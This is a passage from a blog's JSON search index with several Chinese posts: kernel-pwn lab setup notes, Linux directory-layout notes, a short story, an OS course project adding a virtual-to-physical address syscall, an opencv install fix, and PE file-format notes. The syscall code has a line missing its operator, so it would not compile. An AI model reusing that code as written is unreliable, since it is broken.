可能遇到的问题","url":"/2021/12/13/kernel-pwn1/","content":"环境:Ubuntu18.04 / busybox-1.33.1 / linux-5.15.6\nbusybox无法编译:\n有人推荐使用ARM工具链,大概率是可行的,但也有给出对应的补丁以修复编译报错-https://bugs.gentoo.org/708350\n内核编译错误: .config 中下述该行注释掉即可\nCONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/benh@debian.org.cert.pem"\n\n(注:也可以参考wiki中的教程通过签名验证也能正确编译)\n搭建教程可参考:\nhttps://www.cjovi.icu/pwnreview/1318.html\nhttps://n0va-scy.github.io/2020/06/21/kernel%20pwn%20%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/\n另:笔者试图在Ubuntu20上搭建相同环境,发现无论如何似乎都会出现意外情况,而在18下则没有类似状况发生,暂且搁置具体解决方案\n插画ID:67986353\n","categories":["Note","杂物间"],"tags":["kernel","pwn"]},{"title":"Linux学习笔记","url":"/2021/03/18/linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","content":"常规命令格式:command [-option] parameter1 parameter2 ……\n文件列表格式:\n[-rwxrwxrwx] 链接数 文件拥有者 所属用户组 文件大小 最后被修改时间 文件名\n第一节为十个字符,rwx分别表示“可读”“可写”“可执行”,后九个分别表示三个用户组所拥有的权限。第一个字符表示文件类型(d-目录/“-”-文件/l-链接文件/b-设备/c-端口设备/)\n常用命令:(仅指明存在该命令,具体用法和参数使用man手册均可获得)\nman:man手册,查阅命令作用\ndate:显示当前时间与日期\nlocale:语言体系输出\ncal:显示日历\nls:列出当前目录下的文件及相关信息\nchmod:修改文件权限(r-4,w-2,x-1)\nchgrp:修改用户组\nchown:修改拥有者\ncd:切换目录\nmkdir/rmdir:建立新目录/删除一个空目录\ntouch:建立空文件\npwd:显示当前目录\ncp/rm/mv:复制/删除/移动 文件(mv 可用于重命名,对于没有rename命令的系统可替代)\nFHS目录标准规定的Linux目录功能规范:必须存在的目录\n目录\n应放置档案内容\n/bin\n系统有很多放置执行档的目录,但/bin比较特殊。因为/bin放置的是在单人维护模式下还能够被操作的指令。在/bin底下的指令可以被root与一般帐号所使用,主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。\n/boot\n主要放置开机会使用到的档案,包括Linux核心档案以及开机选单与开机所需设定档等等。Linux kernel常用的档名为:vmlinuz ,如果使用的是grub这个开机管理程式,则还会存在/boot/grub/这个目录。\n/dev\n在Linux系统上,任何装置与周边设备都是以档案的型态存在于这个目录当中。 只要通过存取这个目录下的某个档案,就等于存取某个装置。比要重要的档案有/dev/null, /dev/zero, /dev/tty , /dev/lp*, / dev/hd*, /dev/sd*等等\n/etc\n系统主要的设定档几乎都放置在这个目录内,例如人员的帐号密码档、各种服务的启始档等等。 一般来说,这个目录下的各档案属性是可以让一般使用者查阅的,但是只有root有权力修改。 FHS建议不要放置可执行档(binary)在这个目录中。 比较重要的档案有:/etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/等等。 另外,其下重要的目录有:/etc/init.d/ :所有服务的预设启动script都是放在这里的,例如要启动或者关闭iptables的话: /etc/init.d/iptables start、/etc/init.d/ iptables stop/etc/xinetd.d/ :这就是所谓的super daemon管理的各项服务的设定档目录。/etc/X11/ :与X Window有关的各种设定档都在这里,尤其是xorg.conf或XF86Config这两个X Server的设定档。\n/home\n这是系统预设的使用者家目录(home directory)。 在你新增一个一般使用者帐号时,预设的使用者家目录都会规范到这里来。比较重要的是,家目录有两种代号: ~ :代表当前使用者的家目录,而 ~guest:则代表用户名为guest的家目录。\n/lib\n系统的函式库非常的多,而/lib放置的则是在开机时会用到的函式库,以及在/bin或/sbin底下的指令会呼叫的函式库而已 。 什么是函式库呢?妳可以将他想成是外挂,某些指令必须要有这些外挂才能够顺利完成程式的执行之意。 尤其重要的是/lib/modules/这个目录,因为该目录会放置核心相关的模组(驱动程式)。\n/media\nmedia是媒体的英文,顾名思义,这个/media底下放置的就是可移除的装置。 包括软碟、光碟、DVD等等装置都暂时挂载于此。 常见的档名有:/media/floppy, /media/cdrom等等。\n/mnt\n如果妳想要暂时挂载某些额外的装置,一般建议妳可以放置到这个目录中。在古早时候,这个目录的用途与/media相同啦。 只是有了/media之后,这个目录就用来暂时挂载用了。\n/opt\n这个是给第三方协力软体放置的目录 。 什么是第三方协力软体啊?举例来说,KDE这个桌面管理系统是一个独立的计画,不过他可以安装到Linux系统中,因此KDE的软体就建议放置到此目录下了。 另外,如果妳想要自行安装额外的软体(非原本的distribution提供的),那么也能够将你的软体安装到这里来。 不过,以前的Linux系统中,我们还是习惯放置在/usr/local目录下。\n/root\n系统管理员(root)的家目录。 之所以放在这里,是因为如果进入单人维护模式而仅挂载根目录时,该目录就能够拥有root的家目录,所以我们会希望root的家目录与根目录放置在同一个分区中。\n/sbin\nLinux有非常多指令是用来设定系统环境的,这些指令只有root才能够利用来设定系统,其他使用者最多只能用来查询而已。放在/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的指令。至于某些伺服器软体程式,一般则放置到/usr/sbin/当中。至于本机自行安装的软体所产生的系统执行档(system binary),则放置到/usr/local/sbin/当中了。常见的指令包括:fdisk, fsck, ifconfig, init, mkfs等等。\n/srv\nsrv可以视为service的缩写,是一些网路服务启动之后,这些服务所需要取用的资料目录。 常见的服务例如WWW, FTP等等。 举例来说,WWW伺服器需要的网页资料就可以放置在/srv/www/里面。呵呵,看来平时我们编写的代码应该放到这里了。\n/tmp\n这是让一般使用者或者是正在执行的程序暂时放置档案的地方。这个目录是任何人都能够存取的,所以你需要定期的清理一下。当然,重要资料不可放置在此目录啊。 因为FHS甚至建议在开机时,应该要将/tmp下的资料都删除。\n可与根目录分开的目录:\n/etc:配置文件\n/bin:重要执行档\n/dev:所需要的装置文件\n/lib:执行档所需的函式库与核心所需的模块\n/sbin:重要的系统执行文件\n建议可以存在的目录:\n/home:系统默认的用户家目录。:代表目前用户的家目录/dmtsai:代表dmtsai的家目录\n/lib:存放与/lib不同格式的二进制函数库\n/root:系统管理员的家目录。\n目录\n应放置文件内容\n/lost+found\n这个目录是使用标准的ext2/ext3档案系统格式才会产生的一个目录,目的在于当档案系统发生错误时,将一些遗失的片段放置到这个目录下。 这个目录通常会在分割槽的最顶层存在,例如你加装一个硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录/disk/lost+found\n/proc\n这个目录本身是一个虚拟文件系统(virtual filesystem)喔。 他放置的资料都是在内存当中,例如系统核心、行程资讯(process)(是进程吗?)、周边装置的状态及网络状态等等。因为这个目录下的资料都是在记忆体(内存)当中,所以本身不占任何硬盘空间。比较重要的档案(目录)例如: /proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, /proc/net/*等等。呵呵,是虚拟内存吗[guest]?\n/sys\n这个目录其实跟/proc非常类似,也是一个虚拟的档案系统,主要也是记录与核心相关的资讯。 包括目前已载入的核心模组与核心侦测到的硬体装置资讯等等。 这个目录同样不占硬盘容量。\n /var 的意义与内容:\n如果/usr是安装时会占用较大硬盘容量的目录,那么/var就是在系统运作后才会渐渐占用硬盘容量的目录。 因为/var目录主要针对常态性变动的文件,包括缓存(cache)、登录档(log file)以及某些软件运作所产生的文件, 包括程序文件(lock file, run file),或者例如MySQL数据库的文件等等。常见的次目录有:\n目录\n应放置文件内容\n/usr/X11R6/ \n为X Window System重要数据所放置的目录,之所以取名为X11R6是因为最后的X版本为第11版,且该版的第6次释出之意。 \n/usr/bin/ \n绝大部分的用户可使用指令都放在这里。请注意到他与/bin的不同之处。(是否与开机过程有关) \n/usr/include/ \nc/c++等程序语言的档头(header)与包含档(include)放置处,当我们以tarball方式 (*.tar.gz 的方式安装软件)安装某些数据时,会使用到里头的许多包含档。 \n/usr/lib/ \n包含各应用软件的函式库、目标文件(object file),以及不被一般使用者惯用的执行档或脚本(script)。 某些软件会提供一些特殊的指令来进行服务器的设定,这些指令也不会经常被系统管理员操作, 那就会被摆放到这个目录下啦。要注意的是,如果你使用的是X86_64的Linux系统, 那可能会有/usr/lib64/目录产生 \n/usr/local/ \n统管理员在本机自行安装自己下载的软件(非distribution默认提供者),建议安装到此目录, 这样会比较便于管理。举例来说,你的distribution提供的软件较旧,你想安装较新的软件但又不想移除旧版, 此时你可以将新版软件安装于/usr/local/目录下,可与原先的旧版软件有分别啦。 你可以自行到/usr/local去看看,该目录下也是具有bin, etc, include, lib…的次目录 \n/usr/sbin/ \n非系统正常运作所需要的系统指令。最常见的就是某些网络服务器软件的服务指令(daemon) \n/usr/share/ \n放置共享文件的地方,在这个目录下放置的数据几乎是不分硬件架构均可读取的数据, 因为几乎都是文本文件嘛。在此目录下常见的还有这些次目录:/usr/share/man:联机帮助文件/usr/share/doc:软件杂项的文件说明/usr/share/zoneinfo:与时区有关的时区文件\n/usr/src/ \n一般原始码建议放置到这里,src有source的意思。至于核心原始码则建议放置到/usr/src/linux/目录下。\n","categories":["Note"]},{"title":"泯痕卸负","url":"/2021/02/07/obliteratingtraces/","content":" 此刻,独自伫立于雨中的他,被锁在了积水交汇的低洼。雨丝从天空坠落,将他的皮肤寸寸割裂,数不清的鲜红于寒雨坠落处喷涌,最后一并汇聚于脚下。疼痛、疲乏,它们一并交融聚合,然后溃灭消散。\n 长久以来,这座荒凉的小镇已经被遗弃了不知道多少年。在岁月的无情冲刷下,没有人能够再次想起这里,就连旧迹也在时光折磨之下逐渐溢散。也许在不久的将来,小镇就会从这荒唐的故土消失吧。\n 寒风过境,掀起阵阵沙土,似要以此淹没小镇。远方,孤身一人的旅者行走在这片荒凉的土地上。寒风刮起一阵尘土,将旅人的视线遮蔽。他用手挡下迎面扑来的风沙,透过指缝,将视线投向了寒风远去的方向,于土丘被掀开的空隙,一座孤镇映入瞳孔。在它将要消逝的最后一刻,迎来了它的最后一名旅人。\n 寒风催促着旅人快些进入古镇,可旅人却始终迈着沉重的步伐缓步前行着。他的背上背负了太多行李。此生积累的所有错误与已经腐烂的尸骸,他都不舍得丢弃。本就举步维艰,却能够拖着沉重的步伐移动,真是十分了不起的觉悟。凭借着心中的执着,他踏入了这座古镇的最后一刻。\n 旅人一生见证过许多断壁残垣,可单论压抑感,却无一处可及这里。尽管有些地方要远比这里来得破败,可其中流露出的感情,却无一能够渗透皮肤,攥紧心脏。沿街观察,净是些破败的矮屋。每当寒风挂过,那些破损的窗户都会吱吱作响,声音如泣如诉,令人难以自持。可却仅此而已了,他寻遍了大街小巷,此地仅剩下了些残损的破屋与满地的黄沙。不论是曾经生活在古镇的人们,又或是后来抛弃了古镇的人们,他们曾于此地生活的任何旧迹一概消失的无影无踪,他们生命的痕迹更不曾刻在这座荒镇。\n 小镇就这样,孤零零的坐在荒凉的故土上,不知过了多少年,早些时候的玩伴也都消逝了。它宛如风烛残年的老者,仅剩下最后一口气,为最后一位旅人展现最后一刻的风景……\n 可风雨不允许它如此作为,即便这是其生命中最后一次求乞。\n 干燥的空气逐渐湿润,被黄沙遮蔽的天空如今为乌云所替代。狂风开始肆意呼啸,有意嘲笑小镇如今这副不堪入目的模样。它不断求饶,苦苦央求着风雨再晚一点,再慢一点。可又有谁要聆听将死的它的央求?寒风更加肆意猖獗。它横冲直撞,将仅剩的破屋掀翻,将歪曲的构架拆解。而暴雨随之降临,席卷寒风破坏后的废墟,将废墟刺穿、清扫。\n 它将会在风雨中分崩离析,在悔恨中落下帷幕吧。\n 旅人战栗地驻足于街道中央,眼眶被泪水充斥,心中的恐惧蜂屯蚁聚。即便如此,目睹着小镇迎来终焉的他,仍然想要施以援手。当心念萌生的时刻,他所受的殃及变为了同罪。\n 宛如钢针般锋锐的雨水从天而坠,划破手臂上的皮肤,让鲜血渗出毛孔,紧接着便是更加凶残的虐杀。暴雨倾泻而下,雨丝刺穿了这幅枯干,可从他身体里流出的却是暗红色污秽。无法触及的愿望若是能从一开始就没有诞生,旅人又能否免去这毫无意义的苦难呢?至少,此刻难以忍受剧痛的旅人想要逃开这场浩劫,想要躲进小镇,让这座废墟为自己遮风挡雨。可他却迈不出步伐……\n 暴雨倾注而下,将旅人的全身浸透,旅人身上的负重也随之剧增。本就举步维艰,如今更是连站立都十分困难,更何况在雨中的徒步。但他所背负的东西,却是他无论如何也不愿舍弃的宝物。他舍不得将它们丢弃在这,让他们同小镇一起溃灭。于是,旅人被重负与风雨束缚在原地,双脚被生锈的铁链锁在中心,脚底积聚的雨水开始将他淹没……\n 雨水渐渐交汇,并于旅人的脚底聚成水洼。暗红色的鲜血从他的身体里涌出,将水洼染为暗红。从伤口中蔓延出的疼痛让旅人难以忍受,它们催促着旅人卸下重负,可唯独他自己不愿放弃,仍要然苦苦支撑。\n 摇晃、哀嚎,他们逐渐无法承受风雨摧残,开始摇摇欲坠。而雨水将会把一切破坏殆尽,任由他们如何坚持,都不容许有半点差池。\n 倾注而下的大雨开始了更加猛烈的摧残。锋锐的雨丝洞穿了旅人的躯壳,也将街道刺的千疮百孔。密集的雨丝汇聚在一起,宛如铡刀一般从天而落,将破屋的残骸切的支离破碎。狂风怒号,将碎片卷向高空,又任由它坠毁。而旅人的肩膀上也出现了骇人的血痕,表情因过度的疼痛而扭曲,双脚因乏力而颤抖。尽管旅人的愿望已然被摧毁,可他已经逃不出这场灾难了。悔改即是他最为无力的挣扎,任谁也不愿听他的忏悔。\n “咔嚓”\n 不知是何处断裂的声音骤然响起。旅人再也无法支起身体,双腿被沉重压垮,跪倒在暗红的水洼里,虚弱地喘息着。在这寒雨之下,存放在旅人的行囊里的沙漏已经破损,其中的沙砾渐渐被雨水浸透,伴着古镇一同迎来了黄昏。\n 森雨闪烁着寒芒,仍在他的身上留下密密麻麻的骇人的血孔。他的身体终于不堪重负,被压垮在水洼里。狂风撕咬着小镇的血肉,让它再无法继续维持自己的存在。旅人同样也被啃噬殆尽。尽管吞食这毫无营养的血肉没有任何意义,但在这荒凉的土地上却也不会再有别的美餐了。\n 血肉渐渐从枯干上被剥离,暴露出灰色的骨架;意识早在此前的苦难中被抹杀,留存下的仅剩肮脏的本能。身上的重负终是被他卸下,可谁都没有将它们断罪。是啊,它们同旅人和小镇一起消逝在时间的洪流里,所有的痕迹都被抹杀殆尽。又有谁是不能原谅的可怜虫呢?\n 雨停了,久久不见天日的故土终于重见天日。本应立于土丘之上的某物,如今却与土丘融为一体;本该有一位旅人来过此处,如今就连行囊也不见了踪影。即便乌云褪去,阳光洒在故土之上,也再无能够得见天空的旅人,与其所背负的沉重……\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"操作系统课程设计Record","url":"/2022/06/22/operating-system-record/","content":"用户程序:\n#include <stdio.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#include <fcntl.h> /* open */#include <stdint.h> /* uint64_t */#include <stdlib.h> /* size_t */#include <unistd.h> /* pread, sysconf */typedef struct { uint64_t pfn : 54; unsigned int soft_dirty : 1; unsigned int file_page : 1; unsigned int swapped : 1; unsigned int present : 1;} PagemapEntry;int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr){ size_t nread; ssize_t ret; uint64_t data; uintptr_t vpn; vpn = vaddr / sysconf(_SC_PAGE_SIZE); nread = 0; while (nread < sizeof(data)) { ret = pread(pagemap_fd, &data, sizeof(data) - nread, vpn * sizeof(data) + nread); nread += ret; if (ret <= 0) { return 1; } } entry->pfn = data & (((uint64_t)1 << 54) - 1); entry->soft_dirty = (data >> 54) & 1; entry->file_page = (data >> 61) & 1; entry->swapped = (data >> 62) & 1; entry->present = (data >> 63) & 1; return 0;}int virt_to_phys_user(uintptr_t *paddr, pid_t pid, uintptr_t vaddr){ char pagemap_file[BUFSIZ]; int pagemap_fd; //读取对应进程地址映射 snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t)pid); pagemap_fd = open(pagemap_file, O_RDONLY); if (pagemap_fd < 0) { return 1; } PagemapEntry entry; //条目获取 if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) { return 1; } close(pagemap_fd); *paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE)); return 0;}int main(void) { setbuf(stdout, 0); int a = 0; pid_t pid = fork(); if (pid == 0) { //子进程 printf("Pid:%d\\n",getpid()); printf("child: \\n\\tvirtual address:\\t%llx\\n\\tphysical address:\\t%llx\\n", &a, syscall(335, &a)); sleep(2); } else { //父进程 printf("Pid:%d\\n",getpid()); printf("parent: \\n\\tvirtual address:\\t%llx\\n\\tphysical address:\\t%llx\\n", &a, syscall(335, &a)); uintptr_t aptr = &a; uintptr_t aphy = NULL; //子进程中该变量的物理地址 virt_to_phys_user(&aphy, pid, aptr); printf("child:\\n\\tpagemap approach:\\t%llx\\n", aphy); sleep(2); } return 0;}\n\n系统调用:\n#include <linux/kernel.h>#include <linux/syscalls.h>#include <linux/mm.h>#include <linux/hugetlb.h>#include <asm/current.h>#include <asm/pgtable_types.h>SYSCALL_DEFINE1(phy_addr_at, unsigned long, addr) { resource_size_t res = 0; pte_t *pte; spinlock_t *ptlp; if (current->mm == NULL) { printk("error: current process is anonymous."); return -1; } /** * 通过mm_struct获取pgd,即第一级页表,然后根据addr逐级深入, * 最终获得pte,即第四级页表(page table entries)的页表项, * 注意这个过程需要锁ptlp */ follow_pte(current->mm, (unsigned long)addr, &pte, &ptlp); // 从pte表项中提取pfn,即物理页地址 unsigned long pfn; pfn = pte->pte; pfn ^= (pfn && !(pfn & _PAGE_PRESENT)) ? ~0ull : 0; pfn = (pfn & PTE_PFN_MASK) >> PAGE_SHIFT; // 由物理页地址以及当前虚拟页偏移得到实际物理地址 res = (pfn << PAGE_SHIFT) (addr & ~(~0 << PAGE_SHIFT)); // 注意释放资源 pte_unmap_unlock(pte, ptlp); return (unsigned long long)res;}\n\n参考M4tsuri师傅的作业(加个系统调用在别的学校是小作业,在我这就是课程设计了……)。\n\n插画ID:96984236\n","categories":["Note","操作系统"]},{"title":"记python2安装Opencv-python库报错解决方案","url":"/2021/02/08/opencv-error/","content":"报错信息:\n\n调错思路:(感谢群里师傅提供的帮助)\necho $EXT_SUFFIX\n无任何回显。\n估计报错原因是EXT_SUFFIX环境变量缺失导致list()的参数为空,网上查询到该环境变量是python3独有的,说明该版本opencv不支持python2,那么就要去查询opencv最后支持的python2版本。\n解决方案:\npip2 install opencv-python==4.2.0.32\n\n反思:\n最终只是修改了一下安装的版本便不再报错,算是明白看不懂报错信息是多么致命的缺陷了…..\n个人并没有细究python的种种,平日也很少用到这一语言。这次的错误算是给自己一个教训吧,总之要先把错误报告看懂,再思考怎么解决……\n","categories":["Note","杂物间"],"tags":["python"]},{"title":"PE结构详解","url":"/2021/02/25/pe01/","content":"本篇笔记以我个人能够理解为基础,尽可能将其写成其他人也能明白的笔记。如果发现其中存在错误,请务必指正。\n范本与工具:010Editor & Notepad.exe & kernel32.dll\nPE文件种类:\n种类\n主拓展名\n可执行\nEXE / SCR\n驱动程序\nSYS / VXD\n库\nDLL / OCX / CPL / DRV\n对象文件\nOBJ (但这并不是可执行的,在逆向分析中不怎么需要关心)\n正经的PE结构头包括:\n DOS头(DOS header) & DOS存根(Dos Stub) & 节区头(Section header) & NT头(NT header)\n    其中,NT头包括了 文件头 与 可选头 。而节区头包括了 .text / .bss / .rdata / .data / .rsrc / .edata / .idata / .pdata / .debug 这九个预定义段,其分别规定了不同区块的访问权限、特性等内容。但并不是说每个应用程序都一定要规规矩矩的保留这些义段,对于那些用不到的区段是在程序中没有的,这一点可以自行打开程序确认。\n(比如:Notepad.exe只有 .text / .data / .rsrc 这三个义段和节区)\n(节区头的作用:PE文件包含多个节区,其包括了 Code节区 / Data节区 / Resource节区 等诸多节区,正因为节区之间相互区分,所以需要规定好程序可以对 一个节区做些什么 ,因此需要在节区头中去规定。所以这些义段和节区是一一对应的关系。)\n    PE头的详细内容将在下面写出,但在此之前,我觉得有必要先介绍一下VA,RVA等内容。以下也是些一概而论的东西,细节都将在之后解释。\n    VA(Virtual Address):虚拟地址。\n    RVA(Relative Virtual Address):相对虚拟地址\n    FOA(File Offset Address):文件偏移地址。但是在很多地方并不这么称呼,他们会用FA,RAW来称呼FOA,实际上是一个东西。\n    Image Base:模块地址。指可执行文件加载到内存的时候所在的位置。\n    虚拟地址间的关系:\n\n    在很多时候,将一个程序加载到内存的时候,他的实际物理地址是不确定的。但文件总不会自己去寻址,必须要有人事先告诉他将要调用的函数在什么地方,如果用实际地址去描述的话,将会变得十分困难。为解决这个问题,人们构造出了“虚拟地址”的概念。将一个文件载入内存的时候,不管他被载入到了什么地方,都将其头地址映射到一块规定大小的虚拟地址空间(虚拟内存空间的大小可能比实际加载进内存所用的大小还大),之后在调用任何一个函数的时候,都只需要访问虚拟地址即可。\n    但实际在访问的时候,也不是直接访问虚拟地址(特别是对DLL等动态链接库),而是利用RVA来访问。比方说初始位置在0x1000,而某个函数在0x1400,则在访问该函数的时候通过0x1000+0x400来访问(RVA即是指0x400)。之所以这样,还是因为PE文件加载进内存的时候,也可能发生“当前位置已经被占用”的问题,但加载必然是按顺序进行的,所以相对位置不会发生变化。\n    (注:我觉得这样解释还是有些晦涩,所以再换了一种说法————将一个文件加载进内存,但现在我们无法知道其实际地址被放到了哪里。但我们一定清楚,我们想要调用的函数在文件开头往下找0x400的地方,那么程序在访问的时候将虚拟地址基址加上这个RVA就能找到实际的虚拟地址,然后再映射回去就能到达实际的物理地址。)\n    接下来将详细对PE头的内容进行介绍,这里用Notepad.exe来示范。将其用010Editor打开(用Hex Editor也行,但010的自动识别功能会在这里提供很大的方便,对我来说减少了很多不必要的烦恼……)\n​\n    如图,010会将上述的PE结构头全都识别出来,并标好位置等。这将为接下来的介绍减少很多不必要的检索操作。\nDOS头:\n    对应IMAGE_DOS_HEADER。在Microsoft Platform SSDK-winnt.h中可以找到他的成员,实际上就是一个C语言中的结构体。(通常是64字节的大小,但一些可以为缩减而设计的PE文件惊人的小,整个PE文件都只有97字节。但那都是特例,在学习过程中,我们可以权且将PE头每个部分都当作固定长度的结构体理解,不需要在意那些特例)\n(注:结构体代码放在结尾,其成员在下图可见)\n​\n    MZSignature:DOS签名(4D5A经过ASCII值转换会为“MZ”,但图中写的是5A4D,这与Intel系列的CPU储存方式有关,该方法被称为“小端序标识法”,具体内容可自行搜索了解,在汇编的学习过程中,教科书上通常也会有介绍)。在一些书中,作者将把这一栏称之为e_magic**(原因出自于结构体定义的时候写下的名称,但几经迭代后可能就变得不一样了)。另外,MZ取自DOS可执行文件设计者的名字首字母**。\n    AddressOfNewExeHeader:指示NT头的偏移(不同文件可能有不同的值,也被称之为e_lfanew),但注意,其数值应为000000E0(小端序)。\nDOS存根:\n    比较特殊的一项,即便没有这个结构体,程序也能在Windows下运行。但在DOS环境下,将会执行DOS存根中保留的代码。在本例中,将其在DOS环境下将会输出“This program cannot  be run in DOS mode”后退出(具体的执行方式可以查看其汇编代码)。(所用用这个特性也能做很多乱七八糟的事情,比如在EXE文件中创建另一个文件,然后支持DOS和Windows两个环境等)\nNT头:(大小为F8)\n    Signature:签名。(同DOS签名相似,其数值经ASCII转换后为”PE”)\n IMAGE_FILE_HEADER文件头:(FileHeader)​\n    Machine:每个CPU都有唯一的Machine码,算是一种规定。\n#define IMAGE_FILE_MACHINE_I386 0x14c // Intel 386.\n\n\n    诸如这样的定义,其表示兼容32位的Intel x86芯片。Notepad中的Machine码即位14C。类似的定义还有很多很多,细节可自查。\n    NumberOfSections:用于指出文件中存在的节区数量。(如果实际的节区数和这里记录的不一样,运行的时候会出错)\n    SizeOfOptionalHeader:用于指出IMAGE_OPTIONAL_HEADER32结构体的长度。(其实这一项是给PE装载器看的,结构体的长度都是固定好了的,不会因为这一项数值改变而改变)\n    Characteristics:用于标识文件的属性。这一栏的属性比较不好逐个说明,详细的内容放在最后的附录里面,可自行对照每一栏的用处。\n    TimeDataStamp:标识文件被编译器创建的时间。(应该是没太大用处的一项)\n IMAGE_OPTIONAL_HEADER32可选头:(OptionalHeader)\n​\n    这一栏太大了,以至于我没办法一张屏幕把全部都包括进图里……\n    Magic:标识32位与64位的标记(10B——32位,20B——64位)。\n    AddressOfEntryPoint:EP(EntryPoint)的RVA值。指出最先执行的代码的位置。\n    ImageBase:指出文件的优先装入地址(32位的虚拟内存的范围在0~FFFFFFFF,不同类型的文件回被写入不同的值。在执行的时候,PE装载器创建进程后,将会把EIP寄存器的值设定为ImageBase+AddressOfEntryPoint)\n    SectionAlignment / FileAliganment:前者指定了节区在内存中的最小单位,后者指定了节区在磁盘中的最小单位。(磁盘文件或内存的节区大小一定和这二者成整数倍)\n    SizeOfImage:指定PE Image在虚拟内存中所占的空间的大小。\n    SizeOfHeaders:用于指出整个PE头的大小。\n    Subsystem:标识文件的类型。\n值\n含义\n备注\n1\nDriver\n系统驱动(如:ntfs.sys)\n2\nGUI\n窗口应用程序(如:notepad.exe)\n3\nGUI\n控制台应用程序(如:cmd.exe)\n    NumberOfRvaAndSize:指定DataDirectory数组(本例中也叫DataDirArray)的个数。\n    **DataDirectory(DataDirArray)**:这些数组里只有两个元素,VirtualAddress和Size。这些内容能够用于计算RAW的实际地址。\nIMAGE_SECTION_HEADER节区头:\n    能够规定不同节区的特性、访问权限等内容。同样按照数组的方式排列。一个单元对应一个节区。\n​\n    VirtualAddress:内存中节区的起始地址\n    VirtualSize:内存中节区的大小\n    SizeOfRawData:磁盘文件中节区所占的大小\n    PointerToRawData:磁盘文件中节区的起始位置\n    Characteristics:节区属性\n    其中,VA和PTRD(都是简写)不带任何值,由SectionAlignment和FileAlignment决定。\nRVA to RAW:\n\n    公式如上。在了解了以上信息后,即可通过该公式计算出RAW的值了。\n    范例:以Notepad.exe为例。在节区头的第一个单元中可找到VA=1000h,以及PointerToRawData=400h。\n    而RVA在DataDirArray中IMAGE_DATA_DIRECTORY Import中可见。其值为7604h。最后得出RAW=6A04h\n    (可能会有人和我一样开始疑惑为什么RVA是这个值。事实上这个值是随意规定的,这个公式的目的是“我知道RVA,现在想计算RAW”,所以其实可以随意设定RVA值。但有必要说明的是,不同的RVA值会处在不同的节区中,例如RVA=5000就在.text节区中,所以才到节区头中的第一个单元找VirtualAddress和PointerToRawData)\n    (如果你直接在010中转到6A04这个位置,你会发现它确实对应了了comdlg32.dll的数据块起始位置)\n​\n动态链接库DLL:\n    加载DLL的方式主要有两种——“显示链接”(用到时加载,用完就释放)和“隐式链接”(程序开始时加载,程序结束时释放)。而IAT提供的机制与隐式链接有关。如果使用OD或者x64dbg等反汇编软件打开范例,将在其调用函数的时候发现其写法套用了两层(call 1001104,而1001104处的值为7C8107F0,然后才是7C8107F0地址处存放的函数)。其中,1001104是一个固定的值,但7C8107F0则根据操作系统的不同而出现差异,于是在加载程序的时候,PE装载器会将正确的地址装入1001104处,以保证程序在各种环境下都能够正常使用(这样做的理由很多,除了让其能在多平台兼容外,也有因为实际地址可能出现不同的原因存在)。\n​\n    以该链接库为例。\n    库名称Name:在注释里就有标出。通过7990算处RAW后直接查找过去,也能找到comdlg32.dll的字符串。\n    **OriginalFirstThunk(INT)**:包含函数导入信息的结构体指针。通过相同的方法到达6D90可见多个指针。(这实际上是一个数组,以NULL结尾,所以到00000000的时候就算结束了)\n​\n    自7A7A开始,每4个字节代表了一个指针。如果跟入7A7A(算出的RAW为6E7A),就能找到函数的名称。(名称也是数组,同样用\\0结尾。而000F为库内的函数的编号)\n​\n    **导入地址表FirstThunk(IAT——Import Address Table)**:将12C4换为RAW=6C4,跟入。\n​\n    标蓝的区段即为IAT数组区域,对应了comdlg32.dll库。与INT类似,也用NULL结尾,以结构体指针为成员。\n    但76344906这个指针没有实际意义,当程序加载的内存的时候,准确的地址值会取代这个数值(这其中大概是PE装载器做了很多,但我不太了解这个东西)。\nEAT:\n IMAGE_EXPORT_DIRECTORY:\n​\n    NumberOfFunction:实际Export函数的个数\n    NumberOfNames:Export函数中有名字的函数个数、\n    AddressOfFunctions:Export函数地址数组\n    AddressOfNames:函数名称地址数组\n    AddressOfNameOrdinals:Ordinal地址数组\n    实际上,从库中获取函数需要调用GetProcAddress()函数。以下为该过程的流程。\n    首先,利用AddressOfNames成员转到函数名称位置。通过比较字符串的方法,查找到我们所想要的函数名称(这时候该数组的索引是name_index)。(可以假设我们在AddressOfNames[2]的位置找到了目标的名称,那么index=2)\n    再利用AddressOfNameOrdinals数组找到对应的Ordinal值。(上一步找到了Index=2,AddressOfNameOrdinals[Index]=Ordinal,所以Ordinal=2)\n    通过AddressOfFunctions和刚才获得的Ordinal值即可在AddressOfFunctions数组中获取目标函数的地址。(AddressOfFunctions[Ordinal]=目标函数的RVA)\n最后是一些定义:\ntypedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;\n\n\ntypedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics;} IMAGE_FILE_HEADER, 